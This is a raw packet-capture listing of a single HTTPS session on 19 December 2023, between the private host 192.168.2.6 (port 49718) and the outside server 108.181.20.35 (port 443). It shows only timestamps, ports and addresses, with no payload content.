Dec 19, 2023 05:18:49.089430094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089441061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089445114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089464903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089468002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089499950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089502096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089509964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089515924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089529991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089553118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089557886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089566946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089585066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089591980 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089596033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089632034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.089637995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.089678049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.300734997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.300848007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:49.724740982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:49.724843025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:50.556732893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:50.556790113 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.335731983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.335752010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.335762978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.335813046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.335819006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.335830927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.335889101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.335895061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.335957050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498330116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498346090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498358011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498375893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498410940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498481035 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498492002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498501062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498514891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498524904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498565912 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498572111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498625040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498634100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498641014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498682022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498686075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498697042 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498733044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498755932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498796940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498802900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498821020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498832941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498893023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498898983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498918056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498933077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498938084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.498989105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.498996973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499006033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499042034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499047041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499053955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499099016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499105930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499116898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499142885 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499150991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499198914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499211073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499247074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499247074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499260902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499265909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499310017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499310970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499320984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499352932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499355078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499376059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499385118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499403000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499403000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499422073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499428988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499437094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499464035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499464989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499475956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499494076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499507904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499519110 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499526978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499541998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499552965 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499562025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499583960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499588966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499604940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499619007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499633074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499636889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499644041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499660969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499671936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499676943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499692917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499706984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499718904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499741077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499769926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499773979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499785900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499795914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499808073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499814034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499821901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499839067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499867916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499874115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499887943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499916077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499919891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499936104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499938965 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499953032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.499955893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499969959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.499979973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500009060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500013113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500020981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500036001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500046015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500051975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500072002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500102043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500104904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500113964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500133038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500149965 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500154972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500166893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500176907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500185966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500189066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500205994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500220060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500226021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500250101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500262976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500272036 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500293970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500324011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500328064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500345945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500349998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500360012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500364065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500375986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500396013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500423908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.500426054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500437021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.500473022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.708740950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.708811045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:51.916744947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:51.916863918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:52.344758034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:52.344831944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:53.176738024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:53.176804066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.012602091 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.012631893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.012645960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.012741089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.012747049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.012756109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.012818098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.012824059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.012851000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.012875080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.193512917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.193523884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193538904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193550110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193563938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193840981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.193850040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193872929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193878889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193948030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.193952084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.193962097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194066048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194076061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194087982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194109917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194119930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194148064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194154024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194247007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194257021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194266081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194281101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194288015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194293976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194330931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194341898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194392920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194401026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194425106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194427967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194442987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194447041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194473982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194479942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194550037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194556952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194576979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194658995 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194813013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194875002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194886923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194901943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.194933891 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.194947004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195044994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195086956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195103884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195110083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195131063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195143938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195223093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195266008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195280075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195286036 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195302963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195338964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195396900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195437908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195455074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195460081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195485115 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195502996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195570946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195609093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195631981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195636988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195662022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195677996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195750952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195797920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195820093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195825100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195848942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195861101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195930004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195971012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.195991039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.195995092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196019888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196033001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196104050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196149111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196161985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196173906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196191072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196208000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196284056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196322918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196342945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196346998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196376085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196389914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196454048 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196492910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196506023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196521997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196552038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196567059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196701050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196759939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196763039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196784973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196820021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196830034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196922064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196962118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.196985006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.196990013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197012901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197024107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197099924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197139025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197160006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197165012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197191954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197206020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197274923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197314978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197335005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197339058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197356939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197371006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197448015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197484970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197504044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197509050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197540045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197546959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197612047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197650909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197674036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197678089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197698116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197715998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197773933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197814941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197834969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197839975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197865009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197879076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197937012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197974920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.197988033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.197993994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.198014021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.198028088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.198106050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.198163986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:54.408737898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.408852100 CET	49718	443	192.168.2.6	108.181.20.35
